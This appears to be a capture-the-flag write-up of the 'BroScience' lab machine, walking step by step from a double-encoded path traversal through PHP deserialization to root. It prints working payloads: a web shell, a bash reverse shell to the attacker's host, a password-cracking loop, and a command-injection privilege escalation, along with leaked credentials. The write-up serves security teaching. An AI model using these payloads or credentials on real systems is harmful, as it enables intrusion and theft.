BroScience
19 minutes to read
root
to renew OpenSSL certificates and the script has a command injection vulnerability, which leads to the privilege escalation- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.195
- Release: 07 / 01 / 2023
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.195 -p 22,80,443
Nmap scan report for 10.10.11.195
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|_ 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
80/tcp open http Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 103.45 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 443 (HTTPS) open.
Enumeration
If we go to http://10.10.11.195
, we will be redirected to https://broscience.htb
. After setting the domain in /etc/hosts
, we have this website:
It shows a list of gym exercises. We can click on one of them an see that some users post comments:
There’s also a login form:
And also a register form:
But if we try to register, our account is not activated because we don’t have the activation code:
There’s a way to list users going to /user.php?id=
. For our new user, it is ID 7
:
Let’s apply fuzzing to enumerate more routes on the website:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u https://broscience.htb/FUZZ -r -e .php
index.php [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 107ms]
images [Status: 200, Size: 2456, Words: 127, Lines: 24, Duration: 80ms]
login.php [Status: 200, Size: 1936, Words: 567, Lines: 42, Duration: 112ms]
register.php [Status: 200, Size: 2161, Words: 635, Lines: 45, Duration: 101ms]
user.php [Status: 200, Size: 1309, Words: 300, Lines: 29, Duration: 68ms]
comment.php [Status: 200, Size: 1936, Words: 567, Lines: 42, Duration: 88ms]
includes [Status: 200, Size: 1753, Words: 115, Lines: 21, Duration: 149ms]
manual [Status: 200, Size: 676, Words: 15, Lines: 14, Duration: 307ms]
javascript [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 327ms]
logout.php [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 85ms]
styles [Status: 200, Size: 1134, Words: 74, Lines: 18, Duration: 52ms]
activate.php [Status: 200, Size: 1256, Words: 293, Lines: 28, Duration: 381ms]
exercise.php [Status: 200, Size: 1322, Words: 301, Lines: 28, Duration: 403ms]
.php [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 102ms]
[Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 224ms]
server-status [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 77ms]
If we go to /includes
, we will see some PHP files (directory listing is enabled), but the PHP code is not displayed:
If we take a look at the HTML source code, we will notice something weird in the way images are loaded:
That parameter named path
is suspicious… Probably it is vulnerable to some type of Local File Read or Local File Inclusion vulnerability.
Foothold
If we try a basic Directory Traversal attack, the server catches us:
Even with URL-encoding:
However, using double URL-encoding, the server does not complain:
So we can now read files from the server. Since PHP is not executed, this is a Local File Read vulnerability.
Source code analysis
This is include/img.php
:
$ curl -k 'https://broscience.htb/includes/img.php?path=%252e%252e/includes/img.php'
<?php
if (!isset($_GET['path'])) {
die('<b>Error:</b> Missing \'path\' parameter.');
}
// Check for LFI attacks
$path = $_GET['path'];
$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
if (strpos($path, $badword) !== false) {
die('<b>Error:</b> Attack detected.');
}
}
// Normalize path
$path = urldecode($path);
// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>
Here we see that some words are not allowed, but the use of urldecode
allows us to encode the path in double URL-encoding and bypass that filter. This is /etc/passwd
:
$ curl -k 'https://broscience.htb/includes/img.php?path=%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc%252fpasswd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
In order to activate our account, we can take a look at activate.php
:
$ curl -k 'https://broscience.htb/includes/img.php?path=%252e%252e/activate.php'
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
if (isset($_GET['code'])) {
// Check if code is formatted correctly (regex)
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
// Check for code in database
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
$res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
if (pg_num_rows($res) == 1) {
// Check if account already activated
$row = pg_fetch_row($res);
if (!(bool)$row[1]) {
// Activate account
$res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
$res = pg_execute($db_conn, "activate_account_query", array($row[0]));
$alert = "Account activated!";
$alert_type = "success";
} else {
$alert = 'Account already activated.';
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Missing activation code.";
}
?>
<html>
<head>
<title>BroScience : Activate account</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
</div>
</body>
</html>
Activating the account
It looks like we need to use a parameter called code
, add a string that matches RegEx /^[A-z0-9]{32}$/
and with the code stored in the database. If we look at register.php
we can see how this code is generated:
$ curl -k 'https://broscience.htb/includes/img.php?path=%252e%252e/register.php'
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
// Check if variables are empty
if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
// Check if passwords match
if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
// Check if email is too long
if (strlen($_POST['email']) <= 100) {
// Check if email is valid
if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
// Check if username is valid
if (strlen($_POST['username']) <= 100) {
// Check if user exists already
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
$res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
if (pg_num_rows($res) == 0) {
// Check if email is registered already
$res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
$res = pg_execute($db_conn, "check_email_query", array($_POST['email']));
if (pg_num_rows($res) == 0) {
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link.";
$alert_type = "success";
} else {
$alert = "Failed to generate a valid activation code, please try again.";
}
} else {
$alert = "An account with this email already exists.";
}
}
else {
$alert = "Username is already taken.";
}
} else {
$alert = "Maximum username length is 100 characters.";
}
} else {
$alert = "Please enter a valid email address.";
}
} else {
$alert = "Maximum email length is 100 characters.";
}
} else {
$alert = "Passwords do not match.";
}
} else {
$alert = "Please fill all fields in.";
}
}
?>
<html>
<head>
<title>BroScience : Register</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<form class="uk-form-stacked" method="POST" action="register.php">
<fieldset class="uk-fieldset">
<legend class="uk-legend">Register</legend>
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
<div class="uk-margin">
<input name="username" class="uk-input" placeholder="Username">
</div>
<div class="uk-margin">
<input name="email" class="uk-input" type="email" placeholder="Email">
</div>
<div class="uk-margin">
<input name="password" class="uk-input" type="password" placeholder="Password">
</div>
<div class="uk-margin">
<input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">
</div>
<div class="uk-margin">
<button class="uk-button uk-button-default" type="submit">Register</button>
</div>
</fieldset>
</form>
</div>
</body>
</html>
It calls generate_activation_code
, which is a function defined in includes/utils.php
:
$ curl -k 'https://broscience.htb/includes/img.php?path=%252e%252e/includes/utils.php'
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
$to = (($to === null) ? (time()) : ($to));
$to = ((is_int($to)) ? ($to) : (strtotime($to)));
$from = ((is_int($from)) ? ($from) : (strtotime($from)));
$units = array
(
"year" => 29030400, // seconds in a year (12 months)
"month" => 2419200, // seconds in a month (4 weeks)
"week" => 604800, // seconds in a week (7 days)
"day" => 86400, // seconds in a day (24 hours)
"hour" => 3600, // seconds in an hour (60 minutes)
"minute" => 60, // seconds in a minute (60 seconds)
"second" => 1 // 1 second
);
$diff = abs($from - $to);
if ($diff < 1) {
return "Just now";
}
$suffix = (($from > $to) ? ("from now") : ("ago"));
$unitCount = 0;
$output = "";
foreach($units as $unit => $mult)
if($diff >= $mult && $unitCount < 1) {
$unitCount += 1;
// $and = (($mult != 1) ? ("") : ("and "));
$and = "";
$output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
$diff -= intval($diff / $mult) * $mult;
}
$output .= " ".$suffix;
$output = substr($output, strlen(", "));
return $output;
}
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>
This PHP script seems to be important. For the moment, let’s focus on generate_activation_code
:
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
The way it is generated is using a pseudo-random number generator (PRNG) initialized with a time-based seed and using MD5 hashes. We can use the same function in the PHP REPL while creating a new account and try some of the codes until one works:
$ php -a
Interactive shell
php > function generate_activation_code() {
php { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
php { srand(time());
php { $activation_code = "";
php { for ($i = 0; $i < 32; $i++) {
php { $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
php { }
php { return $activation_code;
php { }
php >
php > echo generate_activation_code();
4pcKTmODxm1XJBzpYBVuZzatVXgNoRuN
php > echo generate_activation_code();
hGSR71WVrYAzTo4g6akXhnfQ3OZVehpz
php > echo generate_activation_code();
aVOBsUeVFLowCHeDPxOHndEP2qkz2AuU
And we are able to activate our account:
If we log in again, we can decide to set a light theme or a dark theme:
Deserialization attack
And it is managed using a cookie named user-prefs
, which contains Base64-encoded data:
$ echo Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NDoiZGFyayI7fQ== | base64 -d
O:9:"UserPrefs":1:{s:5:"theme";s:4:"dark";}
The above is a serialized object in PHP, actually an object of class UserPrefs
:
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
There’s a function called get_theme
that takes the user-prefs
cookie and uses unserialize
, leading to an insecure deserialization vulnerability:
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
The above code is not secure because we can serialize any object and it will be unserialized without validation. For instance, let’s take a look at these classes:
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
If we create an instance of AvatarInterface
, when __wakeup
is called a new instance of Avatar
is created and method save
is executed. This method allows us to write into any file (if www-data
has enough permissions). To do so, in $imgPath
we must enter the path to the file where we want to write, and in $tmp
we can put a URL where the contents will be waiting.
If we write a PHP script called cmd.php
, we may obtain Remote Code Execution (RCE):
$ cat > payload
<?php system($_GET['c']); ?>
^C
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
php > class Avatar {
php { public $imgPath;
php {
php { public function __construct($imgPath) {
php { $this->imgPath = $imgPath;
php { }
php {
php { public function save($tmp) {
php { $f = fopen($this->imgPath, "w");
php { fwrite($f, file_get_contents($tmp));
php { fclose($f);
php { }
php { }
php >
php > class AvatarInterface {
php { public $tmp;
php { public $imgPath;
php {
php { public function __wakeup() {
php { $a = new Avatar($this->imgPath);
php { $a->save($this->tmp);
php { }
php { }
php >
php > $ai = new AvatarInterface();
php > $ai->tmp = 'http://10.10.17.44/payload';
php > $ai->imgPath = '/var/www/html/cmd.php';
php > echo serialize($ai);
O:15:"AvatarInterface":2:{s:3:"tmp";s:26:"http://10.10.17.44/payload";s:7:"imgPath";s:21:"/var/www/html/cmd.php";}
php > echo base64_encode(serialize($ai));
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNjoiaHR0cDovLzEwLjEwLjE3LjQ0L3BheWxvYWQiO3M6NzoiaW1nUGF0aCI7czoyMToiL3Zhci93d3cvaHRtbC9jbWQucGhwIjt9
Now, we enter the above Base64-encoded payload as the user-prefs
cookie:
And if everything works, the server will unserialize the payload, create an AvatarInterface
object with malicious attributes, make a request to our Python HTTP server and write PHP code into /var/www/html/cmd.php
. Now, we have a web shell:
So, let’s get a reverse shell on the system:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl -k 'https://broscience.htb/cmd.php?c=echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash'
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.195.
Ncat: Connection from 10.10.11.195:52948.
bash: cannot set terminal process group (1247): Inappropriate ioctl for device
bash: no job control in this shell
www-data@broscience:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@broscience:/var/www/html$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@broscience:/var/www/html$ export TERM=xterm
www-data@broscience:/var/www/html$ export SHELL=bash
www-data@broscience:/var/www/html$ stty rows 50 columns 158
System enumeration
There’s a system user called bill
:
www-data@broscience:/var/www/html$ ls /home
bill
At the web server root directory, we can find credentials to the database:
www-data@broscience:/var/www/html$ cat includes/db_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
We can connect to the PostgreSQL database and find hashed passwords:
www-data@broscience:/var/www/html$ cd /
www-data@broscience:/$ psql -d broscience -U dbuser -W
Password:
psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
broscience=> \d
List of relations
Schema | Name | Type | Owner
--------+------------------+----------+----------
public | comments | table | postgres
public | comments_id_seq | sequence | postgres
public | exercises | table | postgres
public | exercises_id_seq | sequence | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
(6 rows)
broscience=> select * from users;
id | username | password | email | activation_code | is_activated | is_admin | date_created
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13 10:34:36.226763-04
(5 rows)
Unfortunately, none of them is found in crackstation.net:
The issue is that the hashes are salted, and the salt is $db_salt = NaCl";
(from includes/db_connect.php
):
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
In order to crack some hashes, we can use rockyou.txt
and a brute force attack in PHP:
$ cd $WORDLISTS
$ php -a
Interactive shell
php > $db_salt = 'NaCl';
php >
php > $hashes = array(
php ( '15657792073e8a843d4f91fc403454e1',
php ( '13edad4932da9dbb57d9cd15b66ed104',
php ( 'bd3dad50e2d578ecba87d5fa15ca5f85',
php ( 'a7eed23a7be6fe0d765197b1027453fe',
php ( '5d15340bded5b9395d5d14b9c21bc82b',
php ( );
php >
php > if ($file = fopen('rockyou.txt', 'r')) {
php { while (!feof($file)) {
php { $password = fgets($file);
php {
php { foreach ($hashes as $hash) {
php { if (md5($db_salt . trim($password)) === $hash) {
php { echo $hash . ' -> ' . $password;
php { break;
php { }
php { }
php { }
php { }
13edad4932da9dbb57d9cd15b66ed104 -> iluvhorsesandgym
5d15340bded5b9395d5d14b9c21bc82b -> Aaronthehottest
bd3dad50e2d578ecba87d5fa15ca5f85 -> 2applesplus2apples
There we have some plaintext passwords. The password for bill
is iluvhorsesandgym
, which can be used to access via SSH:
$ ssh bill@10.10.11.195
bill@10.10.11.195's password:
bill@broscience:~$ cat user.txt
90ec21d6537e7cad84377c9c6b4b51c6
Privilege escalation
In /opt
we can find a Bash script to renew OpenSSL certificates:
bill@broscience:/tmp$ ls -l /opt
total 4
-rwxr-xr-x 1 root root 1806 Jul 14 2022 renew_cert.sh
bill@broscience:/tmp$ cat /opt/renew_cert.sh
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
fi
If we run pspy
, we will find that this script is executed by root
periodically on /home/bill/Certs/broscience.crt
:
bill@broscience:/tmp$ wget -q 10.10.17.44/pspy64s
bill@broscience:/tmp$ chmod +x pspy64s
bill@broscience:/tmp$ ./pspy64s
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
ββββββ ββββββ ββββββ βββ βββ
ββββ ββββββ β ββββ ββββββ βββ
ββββ βββββ ββββ ββββ ββββ βββ βββ
βββββββ β β ββββββββββ β β βββββ
ββββ β ββββββββββββββ β β β βββββ
ββββ β ββ βββ β βββββ β β βββββ
ββ β β ββ β βββ β βββ βββ
ββ β β β ββ β β ββ
β β β
β β
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
...
CMD: UID=0 PID=64575 | /usr/sbin/cron -f
CMD: UID=0 PID=64580 | /bin/bash /root/cron.sh
CMD: UID=0 PID=64579 | /bin/bash /root/webappreset.sh
CMD: UID=0 PID=64578 | /bin/sh -c /root/cron.sh
CMD: UID=0 PID=64577 | /bin/sh -c /root/webappreset.sh
CMD: UID=0 PID=64582 | /bin/bash /root/cron.sh
CMD: UID=0 PID=64581 | /usr/bin/rm -rf /var/www/html
CMD: UID=0 PID=64583 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
CMD: UID=0 PID=64589 | /usr/sbin/apache2 -k start
...
Command injection
There’s a command injection vulnerability in the above script:
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
If we enter `whoami`
as the certificate’s Common Name, the output of the command will beused to set the name of the certificate file. For example:
bill@broscience:~$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out Certs/broscience.crt -days 1
Generating a RSA private key
.............................++++
...........................................................................................................................................++++
writing new private key to '/tmp/temp.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:`whoami`
Email Address []:
bill@broscience:~$ /opt/renew_cert.sh Certs/broscience.crt
C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = `whoami`
Country => AU
State => Some-State
Locality =>
Org Name => Internet Widgits Pty Ltd
Org Unit =>
Common Name => `whoami`
Email =>
Generating certificate...
bill@broscience:~$ ls -l Certs/
total 8
-rw-r--r-- 1 bill bill 2163 Jan 22 13:28 bill.crt
-rw-r--r-- 1 bill bill 1992 Jan 22 13:28 broscience.crt
Notice that bill
is the output of whoami
.
At this point, we can create a certificate at /home/bill/Certs/broscience.crt
with `chmod 4755 /bin/bash`
as Common Name, so that Bash is transformed into a SUID binary by root
:
bill@broscience:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
bill@broscience:~$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out Certs/broscience.crt -days 1
Generating a RSA private key
.......................................................................................................................++++
..................................++++
writing new private key to '/tmp/temp.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:`chmod 4755 /bin/bash`
Email Address []:
bill@broscience:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
There it is, now we have a shell as root
:
bill@broscience:~$ bash -p
bash-5.1# cat /root/root.txt
cdd87f274a69fb807e325e072dd99ffd